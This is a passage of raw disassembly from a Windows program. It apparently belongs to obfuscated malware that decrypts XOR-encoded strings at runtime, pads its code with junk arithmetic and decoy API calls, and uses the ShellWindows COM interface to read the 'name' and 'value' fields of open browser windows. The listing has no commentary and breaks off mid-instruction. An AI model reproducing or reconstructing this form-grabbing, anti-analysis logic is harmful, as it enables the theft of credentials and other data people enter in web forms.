--------------------------------------------------------------------------- loc_40687D: ; CODE XREF: sub_40684E+48j mov eax, dword_442374 add eax, edi lea eax, ds:41C910h[eax] movsx edx, byte ptr [eax] xor edx, 45h mov [eax], dl inc edi loc_406894: ; CODE XREF: sub_40684E+2Dj cmp edi, esi jl short loc_40687D mov [ebp+var_8], 3DAh mov eax, dword_442374 add eax, esi mov byte ptr ds:dword_41C910[eax], 0 mov edi, dword_442374 inc dword_442374 mov eax, dword_442374 add eax, 3 add eax, esi mov dword_442374, eax cmp eax, 0DE6h jle short loc_4068D7 and dword_442374, 0 loc_4068D7: ; CODE XREF: sub_40684E+80j mov [ebp+var_C], 0C6h lea eax, dword_41C910[edi] pop edi pop esi leave retn sub_40684E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4068E8 proc near ; CODE XREF: sub_406D91+1BFp ; sub_406D91+5BEp ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] call sub_40C5D8 ; IsDebuggerPresent push ebx call sub_40C6EC ; lstrlenW mov edi, eax mov [ebp+var_1], 9Eh add [ebp+var_1], 1 push 0 push 0 push 1FFFh push esi push edi push ebx push 0 push 0 call sub_40C6B0 ; WideCharToMultiByte call sub_40C4E8 ; RtlGetLastWin32Error mov byte ptr [esi+edi], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_4068E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40692F proc near ; CODE XREF: sub_406980+A3p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push edi mov edi, [ebp+arg_0] call sub_40C4E8 ; RtlGetLastWin32Error cmp dword_44237C, 0 jz short loc_406951 mov eax, dword_44237C push eax mov ebx, [eax] call dword ptr [ebx+8] loc_406951: ; CODE XREF: sub_40692F+15j call sub_40C4E8 ; RtlGetLastWin32Error mov eax, [edi+4] push dword ptr [edi+4] mov ebx, [eax] call dword ptr [ebx+8] call sub_40C518 ; GetProcessHeap mov eax, [edi] push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+8] mov [ebp+var_1], 99h sub [ebp+var_1], 61h call sub_40B9F8 pop edi pop ebx leave retn sub_40692F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406980 proc near ; CODE XREF: sub_406D91+4Dp var_14 = byte ptr -14h var_4 = word ptr -4 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov edi, [ebp+arg_0] call sub_40C5D8 ; IsDebuggerPresent and dword ptr [edi], 0 and dword ptr [edi+4], 0 push 0 call sub_40B9EC lea eax, [ebp+var_14] push eax push offset a9ba05972F6a811 ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" call sub_40B9E0 mov esi, eax call sub_40C4E8 ; RtlGetLastWin32Error xor ebx, ebx cmp esi, ebx setl bl or ebx, ebx jnz short loc_406A22 mov [ebp+var_1], 2Bh add [ebp+var_1], 6 push edi push offset dword_447AE8 push 4 push 0 lea eax, [ebp+var_14] push eax call sub_40B9D4 mov esi, eax xor ebx, ebx cmp esi, ebx setl bl or ebx, ebx jnz short loc_406A22 mov eax, edi add eax, 4 push eax push offset dword_447AD8 mov eax, [edi] push dword ptr [edi] mov ebx, [eax] call dword ptr ds:0[ebx] mov esi, eax mov [ebp+var_4], 7D3Eh add [ebp+var_4], 5DA6h xor ebx, ebx cmp esi, ebx setl bl or ebx, ebx jnz short loc_406A22 call sub_40C554 ; GetVersion xor eax, eax inc eax jmp short loc_406A30 ; --------------------------------------------------------------------------- loc_406A22: ; CODE XREF: sub_406980+3Dj ; sub_406980+65j ... push edi call sub_40692F pop ecx call sub_40C4B8 ; GetCurrentProcessId xor eax, eax loc_406A30: ; CODE XREF: sub_406980+A0j pop edi pop esi pop ebx leave retn sub_406980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A35 proc near ; CODE XREF: sub_406D91+CEp var_10059 = byte ptr -10059h var_10058 = word ptr -10058h var_10055 = byte ptr -10055h var_1004E = dword ptr -1004Eh var_1004A = byte ptr -1004Ah var_10044 = byte ptr -10044h var_1003C = byte ptr -1003Ch var_10039 = byte ptr -10039h var_10032 = byte ptr -10032h var_1002C = dword ptr -1002Ch var_10028 = dword ptr -10028h var_10024 = byte ptr -10024h var_25 = byte ptr -25h var_24 = word ptr -24h var_21 = byte ptr -21h var_20 = word ptr -20h var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1005Ch call sub_40C43C push ebx push esi push edi call sub_40C4B8 ; GetCurrentProcessId cmp dword_442380, 0FFFFh jz short loc_406A5D and dword_442378, 0 loc_406A5D: ; CODE XREF: sub_406A35+1Fj mov eax, dword_442384 mov [ebp+var_1002C], eax mov eax, dword_442378 cmp [ebp+arg_4], eax jz loc_406CF4 lea edi, [ebp+var_10032] lea esi, aVb_ ; "$VB ." mov ecx, 3 rep movsw mov eax, [ebp+arg_4] mov dword_442378, eax cmp dword_44237C, 0 jz short loc_406AB2 call sub_40C554 ; GetVersion mov eax, dword_44237C push eax mov esi, [eax] call dword ptr [esi+8] and dword_44237C, 0 loc_406AB2: ; CODE XREF: sub_406A35+64j lea edi, [ebp+var_10039] lea esi, aMSD ; "M S^d/" mov ecx, 7 rep movsb push 0FFFFh lea eax, [ebp+var_10024] push eax push [ebp+arg_4] call sub_40C71C ; GetWindowTextA call sub_40C4C4 ; GetCurrentThreadId push 1Bh push offset dword_446EE0 call sub_40684E mov edi, 0Bh sub edi, dword_442370 push edi push eax lea edi, [ebp+var_10024] push edi call sub_4017D2 add esp, 14h cmp eax, 0FFFFh jnz short loc_406B2B mov [ebp+var_10058], 7B1Ah sub [ebp+var_10058], 49F7h and dword_44237C, 0 jmp loc_406CF4 ; --------------------------------------------------------------------------- loc_406B2B: ; CODE XREF: sub_406A35+D6j lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] mov eax, [eax+4] push eax mov edi, [eax] call dword ptr [edi+1Ch] mov ebx, eax lea edi, [ebp+var_1003C] lea esi, aJz ; "JZ" mov ecx, 3 rep movsb cmp [ebp+var_8], 0 jz loc_406CF4 lea edi, [ebp+var_10044] lea esi, a?alV ; "?l / " movsd movsd or ebx, ebx jnz loc_406CF4 call sub_40C518 ; GetProcessHeap and [ebp+var_4], 0 cmp dword_442380, 0FFFFh jz short loc_406BD3 lea edi, [ebp+var_10059] lea esi, byte_4423A0 xor ecx, ecx inc ecx rep movsb inc dword_442380 mov eax, [ebp+var_8] cmp dword_442380, eax jbe short loc_406BAE and dword_442380, 0 loc_406BAE: ; CODE XREF: sub_406A35+170j mov [ebp+var_10058], 2422h movzx eax, [ebp+var_10058] imul eax, 1389h mov [ebp+var_10058], ax mov eax, dword_442380 mov [ebp+var_4], eax loc_406BD3: ; CODE XREF: sub_406A35+14Ej ; sub_406A35+29Fj push 0 call sub_40C95C pop ecx mov [ebp+var_20], 2 mov eax, [ebp+var_4] mov [ebp+var_18], eax mov dword_442380, eax lea eax, [ebp+var_C] push eax lea esi, [ebp+var_20] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+arg_0] mov edi, [edi+4] push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax mov [ebp+var_21], 46h movzx eax, [ebp+var_21] imul eax, 7D15h mov [ebp+var_21], al or ebx, ebx jnz loc_406CA6 push offset dword_44237C push offset dword_447AF8 mov eax, [ebp+var_C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov [ebp+var_24], 52B6h inc [ebp+var_24] or ebx, ebx jnz short loc_406CA6 call sub_40C4B8 ; GetCurrentProcessId lea eax, [ebp+var_10028] push eax mov eax, dword_44237C push eax mov edi, [eax] call dword ptr [edi+94h] mov ebx, eax lea edi, [ebp+var_1004A] lea esi, a_vY ; ".=#y" mov ecx, 3 rep movsw or ebx, ebx jnz short loc_406CA6 mov eax, dword_4423A7 mov [ebp+var_1004E], eax mov dword_442380, 0FFFFh mov eax, [ebp+arg_4] cmp [ebp+var_10028], eax jz short loc_406CF4 call sub_40C4B8 ; GetCurrentProcessId loc_406CA6: ; CODE XREF: sub_406A35+1EBj ; sub_406A35+216j ... cmp dword_44237C, 0 jz short loc_406CBA mov eax, dword_44237C push eax mov esi, [eax] call dword ptr [esi+8] loc_406CBA: ; CODE XREF: sub_406A35+278j mov [ebp+var_25], 9Fh movzx eax, [ebp+var_25] imul eax, 38A5h mov [ebp+var_25], al inc [ebp+var_4] mov eax, [ebp+var_8] cmp [ebp+var_4], eax jb loc_406BD3 lea edi, [ebp+var_10055] lea esi, aNhRq ; " nH rQ" mov ecx, 7 rep movsb and dword_44237C, 0 loc_406CF4: ; CODE XREF: sub_406A35+3Bj ; sub_406A35+F1j ... pop edi pop esi pop ebx leave retn sub_406A35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF9 proc near ; CODE XREF: sub_406D91+62Fp ; sub_406D91+679p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 38Dh push esi push [ebp+arg_0] mov eax, dword_4423BC lea eax, ds:431D90h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_406D41 ; --------------------------------------------------------------------------- loc_406D27: ; CODE XREF: sub_406CF9+4Aj mov eax, dword_4423BC add eax, edi lea eax, ds:431D90h[eax] movsx edx, byte ptr [eax] xor edx, 80h mov [eax], dl inc edi loc_406D41: ; CODE XREF: sub_406CF9+2Cj cmp edi, esi jl short loc_406D27 mov eax, dword_4423BC add eax, esi mov byte ptr ds:dword_431D90[eax], 0 mov edi, dword_4423BC mov eax, edi add eax, 6 add eax, esi mov dword_4423BC, eax add dword_4423BC, 2 cmp dword_4423BC, 0E01h jle short loc_406D80 and dword_4423BC, 0 loc_406D80: ; CODE XREF: sub_406CF9+7Ej mov [ebp+var_8], 0A5h lea eax, dword_431D90[edi] pop edi pop esi leave retn sub_406CF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D91 proc near ; CODE XREF: sub_407F34+51p var_6383E = dword ptr -6383Eh var_63839 = byte ptr -63839h var_63838 = byte ptr -63838h var_63830 = dword ptr -63830h var_6382C = word ptr -6382Ch var_6382A = byte ptr -6382Ah var_6282B = byte ptr -6282Bh var_62826 = word ptr -62826h var_62824 = dword ptr -62824h var_62820 = dword ptr -62820h var_6281C = dword ptr -6281Ch var_62818 = word ptr -62818h var_62810 = dword ptr -62810h var_62808 = word ptr -62808h var_62800 = dword ptr -62800h var_627FA = dword ptr -627FAh var_627F5 = byte ptr -627F5h var_627F4 = dword ptr -627F4h var_627F0 = dword ptr -627F0h var_627E9 = byte ptr -627E9h var_627E4 = byte ptr -627E4h var_627E1 = byte ptr -627E1h var_627DB = dword ptr -627DBh var_627D7 = byte ptr -627D7h var_627D1 = byte ptr -627D1h var_627CA = byte ptr -627CAh var_627C9 = byte ptr -627C9h var_627C8 = dword ptr -627C8h var_627C4 = word ptr -627C4h var_627C2 = byte ptr -627C2h var_627C1 = byte ptr -627C1h var_627C0 = dword ptr -627C0h var_627BC = byte ptr -627BCh var_627BB = byte ptr -627BBh var_626BC = dword ptr -626BCh var_626B5 = byte ptr -626B5h var_626B4 = dword ptr -626B4h var_626B0 = word ptr -626B0h var_626A8 = dword ptr -626A8h var_6269C = dword ptr -6269Ch var_62698 = dword ptr -62698h var_62694 = dword ptr -62694h var_62690 = dword ptr -62690h var_6268C = dword ptr -6268Ch var_62688 = dword ptr -62688h var_62684 = dword ptr -62684h var_6267F = byte ptr -6267Fh var_6267D = byte ptr -6267Dh var_6267C = dword ptr -6267Ch var_62676 = byte ptr -62676h var_5269A = word ptr -5269Ah var_52698 = byte ptr -52698h var_52690 = dword ptr -52690h var_52688 = word ptr -52688h var_52686 = byte ptr -52686h var_52681 = byte ptr -52681h var_52680 = dword ptr -52680h var_5267C = dword ptr -5267Ch var_52677 = byte ptr -52677h var_52674 = byte ptr -52674h var_5266D = byte ptr -5266Dh var_5266C = byte ptr -5266Ch var_5266A = word ptr -5266Ah var_52667 = byte ptr -52667h var_52666 = byte ptr -52666h var_52660 = dword ptr -52660h var_52659 = byte ptr -52659h var_52653 = byte ptr -52653h var_5264D = byte ptr -5264Dh var_5264C = dword ptr -5264Ch var_52648 = dword ptr -52648h var_52644 = byte ptr -52644h var_5263C = dword ptr -5263Ch var_52638 = word ptr -52638h var_52636 = word ptr -52636h var_52634 = dword ptr -52634h var_5262F = byte ptr -5262Fh var_5262E = word ptr -5262Eh var_5262C = dword ptr -5262Ch var_52628 = dword ptr -52628h var_52622 = word ptr -52622h var_5261F = byte ptr -5261Fh var_5261E = word ptr -5261Eh var_5261C = byte ptr -5261Ch var_5261B = byte ptr -5261Bh var_5261A = word ptr -5261Ah var_52618 = dword ptr -52618h var_52614 = word ptr -52614h var_52612 = word ptr -52612h var_52610 = dword ptr -52610h var_5260A = word ptr -5260Ah var_52608 = dword ptr -52608h var_52604 = dword ptr -52604h var_525FE = word ptr -525FEh var_525FC = dword ptr -525FCh var_525F8 = dword ptr -525F8h var_525F4 = dword ptr -525F4h var_525EE = word ptr -525EEh var_525EC = dword ptr -525ECh var_525E8 = dword ptr -525E8h var_525E4 = dword ptr -525E4h var_525DF = byte ptr -525DFh var_524E0 = byte ptr -524E0h var_524D8 = dword ptr -524D8h var_524CC = dword ptr -524CCh var_524C8 = byte ptr -524C8h var_39E28 = byte ptr -39E28h var_21788 = word ptr -21788h var_21786 = word ptr -21786h var_21784 = dword ptr -21784h var_2177D = byte ptr -2177Dh var_1177E = word ptr -1177Eh var_1177C = word ptr -1177Ch var_10FAC = dword ptr -10FACh var_10FA8 = dword ptr -10FA8h var_10FA4 = dword ptr -10FA4h var_10001 = byte ptr -10001h var_2 = word ptr -2 push ebp mov ebp, esp mov eax, 63840h call sub_40C43C push ebx push esi push edi call sub_40C554 ; GetVersion push offset aValue ; "value" call sub_40B9B0 mov [ebp+var_10FA8], eax lea edi, [ebp+var_5264D] lea esi, byte_4423C6 xor ecx, ecx inc ecx rep movsb push offset aName ; "name" call sub_40B9B0 mov [ebp+var_10FAC], eax lea eax, [ebp+var_52644] push eax call sub_406980 pop ecx or eax, eax jz loc_407F2F mov [ebp+var_52612], 0C95h movzx eax, [ebp+var_52612] imul eax, 782Ah mov [ebp+var_52612], ax loc_406E09: ; CODE XREF: sub_406D91+EFj ; sub_406D91+12Fj ... push 0 call sub_40C95C mov [ebp+var_52614], 6C6Bh movzx eax, [ebp+var_52614] imul eax, 6529h mov [ebp+var_52614], ax call sub_40C764 ; GetForegroundWindow mov [ebp+var_52618], eax mov [ebp+var_525F8], 691Eh mov eax, [ebp+var_525F8] mov edx, eax add edx, eax mov [ebp+var_525F8], edx push [ebp+var_52618] lea eax, [ebp+var_52644] push eax call sub_406A35 add esp, 0Ch mov [ebp+var_5261A], 2103h add [ebp+var_5261A], 67C5h cmp dword_44237C, 0 jz short loc_406E09 mov [ebp+var_5261B], 1Fh movzx eax, [ebp+var_5261B] imul eax, 4275h mov [ebp+var_5261B], al lea eax, [ebp+var_525F4] push eax mov eax, dword_44237C push eax mov edi, [eax] call dword ptr [edi+48h] mov ebx, eax mov [ebp+var_5261C], 0CAh add [ebp+var_5261C], 1 or ebx, ebx jnz loc_406E09 call sub_40C518 ; GetProcessHeap lea eax, [ebp+var_525FC] push eax push offset dword_447A98 mov eax, [ebp+var_525F4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax or ebx, ebx jnz loc_407F10 mov [ebp+var_5261E], 55E0h inc [ebp+var_5261E] lea eax, [ebp+var_52648] push eax mov eax, dword_44237C push eax mov edi, [eax] call dword ptr [edi+78h] mov ebx, eax lea edi, [ebp+var_52653] lea esi, a6uxb6 ; "6Ux6" mov ecx, 3 rep movsw or ebx, ebx jnz loc_407EF6 lea edi, [ebp+var_52659] lea esi, aTro_ ; "tRO,_" mov ecx, 3 rep movsw push offset byte_41FC80 push [ebp+var_52648] call sub_4068E8 add esp, 8 mov edi, eax inc edi mov [ebp+var_52660], edi call sub_40C4C4 ; GetCurrentThreadId mov eax, [ebp+var_52618] mov ds:dword_42FC84, eax lea eax, [ebp+var_525FE] push eax mov eax, dword_44237C push eax mov edi, [eax] call dword ptr [edi+7Ch] mov ebx, eax mov [ebp+var_5261F], 8Eh movzx eax, [ebp+var_5261F] imul eax, 5FFAh mov [ebp+var_5261F], al or ebx, ebx jnz loc_407EF6 cmp [ebp+var_525FE], 0 jz short loc_406FCA lea edi, [ebp+var_52666] lea esi, aVo4 ; " vo4|" mov ecx, 3 rep movsw jmp loc_407EF6 ; --------------------------------------------------------------------------- loc_406FCA: ; CODE XREF: sub_406D91+21Ej lea edi, [ebp+var_52667] lea esi, byte_4423D9 xor ecx, ecx inc ecx rep movsb mov ax, word_4423DA mov [ebp+var_5266A+1], ax mov [ebp+var_10001], 0 mov [ebp+var_2], 0 lea eax, [ebp+var_52604] push eax mov eax, [ebp+var_525FC] push eax mov edi, [eax] call dword ptr [edi+5Ch] mov ebx, eax mov [ebp+var_52622], 665Eh add [ebp+var_52622], 1371h or ebx, ebx jnz loc_407EF6 call sub_40C518 ; GetProcessHeap lea eax, [ebp+var_5264C] push eax mov eax, [ebp+var_52604] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax call sub_40C5D8 ; IsDebuggerPresent or ebx, ebx jnz loc_407EDC call sub_40C4E8 ; RtlGetLastWin32Error or [ebp+var_524CC], 0FFFFFFFFh loc_407057: ; CODE XREF: sub_406D91+BC4j mov [ebp+var_52628], 40F0h inc [ebp+var_52628] and [ebp+var_52608], 0 and [ebp+var_52610], 0 cmp [ebp+var_524CC], 0FFFFFFFFh jnz short loc_4070E2 mov word ptr [ebp+var_5267C], 43EEh sub word ptr [ebp+var_5267C], 5463h lea eax, [ebp+var_525E4] push eax mov eax, [ebp+var_525FC] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax lea edi, [ebp+var_52681] lea esi, aAVy ; "a&vY" mov ecx, 5 rep movsb or ebx, ebx jnz loc_40792F mov word ptr [ebp+var_5267C+2], 5163h movzx eax, word ptr [ebp+var_5267C+2] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_5267C+2], ax jmp loc_4071BB ; --------------------------------------------------------------------------- loc_4070E2: ; CODE XREF: sub_406D91+2EBj call sub_40C518 ; GetProcessHeap mov [ebp+var_52688], 17h mov eax, [ebp+var_524CC] mov [ebp+var_52680], eax lea eax, [ebp+var_52698] push eax lea eax, [ebp+var_52688] push eax mov eax, [ebp+var_52604] push eax mov esi, [eax] call dword ptr [esi+1Ch] lea eax, [ebp+var_52608] push eax push offset dword_447AC8 mov eax, [ebp+var_52690] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax or ebx, ebx jnz loc_40792F call sub_40C4C4 ; GetCurrentThreadId lea eax, [ebp+var_52610] push eax mov eax, [ebp+var_52608] push eax mov edi, [eax] call dword ptr [edi+0D0h] mov ebx, eax or ebx, ebx jz short loc_407173 call sub_40C548 ; GetTickCount mov eax, [ebp+var_52608] push eax mov esi, [eax] call dword ptr [esi+8] jmp loc_40792F ; --------------------------------------------------------------------------- loc_407173: ; CODE XREF: sub_406D91+3CAj lea eax, [ebp+var_525E4] push eax mov eax, [ebp+var_52610] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax or ebx, ebx jz short loc_4071BB call sub_40C554 ; GetVersion mov eax, [ebp+var_52610] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, [ebp+var_52608] push eax mov esi, [eax] call dword ptr [esi+8] mov ax, word_4423E1 mov [ebp+var_5269A], ax jmp loc_40792F ; --------------------------------------------------------------------------- loc_4071BB: ; CODE XREF: sub_406D91+34Cj ; sub_406D91+3F9j lea eax, [ebp+var_525EC] push eax mov eax, [ebp+var_525E4] push eax mov edi, [eax] call dword ptr [edi+24h] mov ebx, eax lea edi, [ebp+var_5266C] lea esi, byte_4423E3 mov ecx, 3 rep movsb or ebx, ebx jnz loc_407E93 lea edi, [ebp+var_5266D] lea esi, byte_4423E6 xor ecx, ecx inc ecx rep movsb and [ebp+var_21784], 0 jmp loc_40791D ; --------------------------------------------------------------------------- loc_407208: ; CODE XREF: sub_406D91+B98j mov [ebp+var_627BC], 58h movzx eax, [ebp+var_627BC] imul eax, 0E1Dh mov [ebp+var_627BC], al push 0 call sub_40C95C pop ecx lea edi, [ebp+var_627D1] lea esi, aZa6Ca ; "zA6:c" mov ecx, 7 rep movsb mov [ebp+var_626B0], 2 mov eax, [ebp+var_21784] mov [ebp+var_626A8], eax lea eax, [ebp+var_6269C] push eax lea esi, [ebp+var_626B0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_626B0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_525E4] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax or ebx, ebx jnz loc_407917 mov [ebp+var_627C0], 54A8h mov eax, 78B7h mul [ebp+var_627C0] mov [ebp+var_627F0], eax mov [ebp+var_627C0], eax and [ebp+var_626B4], 0 lea eax, [ebp+var_626B4] push eax push offset dword_447AA8 mov eax, [ebp+var_6269C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov [ebp+var_627C1], 4Fh movzx eax, [ebp+var_627C1] imul eax, 303Ch mov [ebp+var_627C1], al or ebx, ebx jnz loc_407608 mov [ebp+var_627C2], 41h add [ebp+var_627C2], 1 lea eax, [ebp+var_626BC] push eax mov eax, [ebp+var_626B4] push eax mov edi, [eax] call dword ptr [edi+0F0h] mov ebx, eax call sub_40C518 ; GetProcessHeap or ebx, ebx jnz loc_407608 lea edi, [ebp+var_627D7] lea esi, aFG ; " f>" mov ecx, 3 rep movsw lea eax, [ebp+var_6267F] push eax push [ebp+var_626BC] call sub_4068E8 add esp, 8 mov edi, eax inc edi mov [ebp+var_62694], edi and [ebp+var_5267C], 0 jmp short loc_407392 ; --------------------------------------------------------------------------- loc_407369: ; CODE XREF: sub_406D91+60Dj mov eax, [ebp+var_5267C] mov al, [ebp+eax+var_6267F] cmp al, 0Dh jz short loc_40737E cmp al, 0Ah jnz short loc_40738C loc_40737E: ; CODE XREF: sub_406D91+5E7j mov eax, [ebp+var_5267C] mov [ebp+eax+var_6267F], 0 loc_40738C: ; CODE XREF: sub_406D91+5EBj inc [ebp+var_5267C] loc_407392: ; CODE XREF: sub_406D91+5D6j mov eax, [ebp+var_62694] cmp [ebp+var_5267C], eax jb short loc_407369 mov eax, dword_4423F4 mov [ebp+var_627DB], eax cmp [ebp+var_524CC], 0FFFFFFFFh jnz short loc_4073F0 call sub_40C5D8 ; IsDebuggerPresent push 11h push offset aNEA ; "ǭߥؾ" call sub_406CF9 push [ebp+var_21784] push eax lea edi, [ebp+var_627BB] push edi call sub_40C9D4 lea eax, [ebp+var_627BB] push eax lea eax, [ebp+var_10001] push eax call sub_40C9F8 add esp, 1Ch jmp short loc_407449 ; --------------------------------------------------------------------------- loc_4073F0: ; CODE XREF: sub_406D91+621j lea edi, [ebp+var_627F5] lea esi, dword_4423F8 mov ecx, 5 rep movsb push 13h push offset aENEA ; "ߥحߥؾ" call sub_406CF9 push [ebp+var_21784] push [ebp+var_524CC] push eax lea edi, [ebp+var_627BB] push edi call sub_40C9D4 lea eax, [ebp+var_627BB] push eax lea eax, [ebp+var_10001] push eax call sub_40C9F8 add esp, 20h mov eax, dword_4423FD mov [ebp+var_627FA+1], eax loc_407449: ; CODE XREF: sub_406D91+65Dj and [ebp+var_5267C], 0 loc_407450: ; CODE XREF: sub_406D91+783j mov eax, [ebp+var_5267C] lea ecx, [ebp+eax+var_6267F] or eax, 0FFFFFFFFh loc_407460: ; CODE XREF: sub_406D91+6D4j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_407460 mov [ebp+var_62688], eax lea edi, [ebp+var_627E1] lea esi, aJeth ; "jETH#" mov ecx, 6 rep movsb mov eax, [ebp+var_62688] cmp eax, 0 jz short loc_407492 cmp eax, 0C8h jbe short loc_407494 loc_407492: ; CODE XREF: sub_406D91+6F8j jmp short loc_4074FB ; --------------------------------------------------------------------------- loc_407494: ; CODE XREF: sub_406D91+6FFj cmp [ebp+var_62688], 1 jnz short loc_4074AD mov eax, [ebp+var_5267C] cmp [ebp+eax+var_6267F], 20h jz short loc_4074FB loc_4074AD: ; CODE XREF: sub_406D91+70Aj lea edi, [ebp+var_627E4] lea esi, aKq ; "kQ" mov ecx, 3 rep movsb push 1 push offset byte_447550 call sub_406CF9 push eax lea edi, [ebp+var_10001] push edi call sub_40C9F8 call sub_40C5D8 ; IsDebuggerPresent mov eax, [ebp+var_5267C] lea eax, [ebp+eax+var_6267F] push eax lea eax, [ebp+var_10001] push eax call sub_40C9F8 add esp, 18h loc_4074FB: ; CODE XREF: sub_406D91:loc_407492j ; sub_406D91+71Aj mov eax, [ebp+var_62688] inc eax add [ebp+var_5267C], eax mov eax, [ebp+var_62694] cmp [ebp+var_5267C], eax jb loc_407450 mov [ebp+var_626B5], 49h movzx eax, [ebp+var_626B5] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_626B5], al and [ebp+var_62690], 0 lea ecx, [ebp+var_10001] or eax, 0FFFFFFFFh loc_407544: ; CODE XREF: sub_406D91+7B8j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_407544 mov [ebp+var_62688], eax mov [ebp+var_627C4], 4DD8h add [ebp+var_627C4], 662Fh mov [ebp+var_5267C], 0 jmp short loc_4075E8 ; --------------------------------------------------------------------------- loc_40756F: ; CODE XREF: sub_406D91+863j call sub_40C4E8 ; RtlGetLastWin32Error mov eax, [ebp+var_5267C] cmp [ebp+eax+var_10001], 20h jz short loc_40758B and [ebp+var_62684], 0 loc_40758B: ; CODE XREF: sub_406D91+7F1j call sub_40C518 ; GetProcessHeap cmp [ebp+var_62684], 0 jnz short loc_4075C3 call sub_40C4B8 ; GetCurrentProcessId mov eax, [ebp+var_62690] mov edx, [ebp+var_5267C] mov dl, [ebp+edx+var_10001] mov [ebp+eax+var_10001], dl call sub_40C554 ; GetVersion inc [ebp+var_62690] loc_4075C3: ; CODE XREF: sub_406D91+806j mov eax, [ebp+var_5267C] cmp [ebp+eax+var_10001], 20h jnz short loc_4075DD mov [ebp+var_62684], 1 loc_4075DD: ; CODE XREF: sub_406D91+840j call sub_40C4B8 ; GetCurrentProcessId inc [ebp+var_5267C] loc_4075E8: ; CODE XREF: sub_406D91+7DCj mov eax, [ebp+var_62688] cmp [ebp+var_5267C], eax jb loc_40756F mov eax, [ebp+var_62690] mov [ebp+eax+var_10001], 0 loc_407608: ; CODE XREF: sub_406D91+564j ; sub_406D91+597j and [ebp+var_6268C], 0 lea eax, [ebp+var_6268C] push eax push offset dword_447AB8 mov eax, [ebp+var_6269C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax lea edi, [ebp+var_627E9] lea esi, aGg ; "gG'," mov ecx, 5 rep movsb or ebx, ebx jnz loc_4078F4 lea eax, [ebp+var_62698] push eax mov eax, [ebp+var_6268C] push eax mov edi, [eax] call dword ptr [edi+6Ch] mov ebx, eax mov [ebp+var_627C8], 21EDh sub [ebp+var_627C8], 4BF6h or ebx, ebx jnz loc_4078DF mov [ebp+var_627C9], 79h sub [ebp+var_627C9], 59h and [ebp+var_52680], 0 jmp loc_4078C6 ; --------------------------------------------------------------------------- loc_407693: ; CODE XREF: sub_406D91+B41j call sub_40C554 ; GetVersion push 0 call sub_40C95C pop ecx call sub_40C4C4 ; GetCurrentThreadId mov [ebp+var_62808], 2 mov eax, [ebp+var_52680] mov [ebp+var_62800], eax lea eax, [ebp+var_627FA+2] push eax lea esi, [ebp+var_62808] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_62808] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_6268C] push edi mov edi, [edi] call dword ptr [edi+74h] mov ebx, eax call sub_40C4B8 ; GetCurrentProcessId or ebx, ebx jnz loc_4078C0 mov [ebp+var_6281C], 6C9Fh mov eax, [ebp+var_6281C] mov edx, eax add edx, eax mov [ebp+var_6281C], edx and [ebp+var_627F4], 0 lea eax, [ebp+var_627F4] push eax push offset dword_447AA8 mov eax, [ebp+var_627FA+2] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov ax, word_44240F mov [ebp+var_62826], ax or ebx, ebx jnz loc_40789D lea edi, [ebp+var_6282B] lea esi, aEqf8 ; "EQf8" mov ecx, 5 rep movsb cmp [ebp+var_627F4], 0 jz loc_40789D lea eax, [ebp+var_62818] push eax push 0 push [ebp+var_10FA8] mov eax, [ebp+var_627F4] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax mov [ebp+var_62820], 5F69h inc [ebp+var_62820] or ebx, ebx jnz loc_40789D cmp [ebp+var_62818], 8 jnz loc_40789D mov [ebp+var_62824], 47CCh sub [ebp+var_62824], 4C53h movzx edi, [ebp+var_2] mov esi, [ebp+var_627F4] mov [ebp+edi*4+var_10FA4], esi movzx edi, [ebp+var_2] mov esi, [ebp+var_52680] mov [ebp+edi*2+var_1177C], si lea eax, [ebp+var_62818] push eax push 0 push [ebp+var_10FAC] mov eax, [ebp+var_627F4] push eax mov edi, 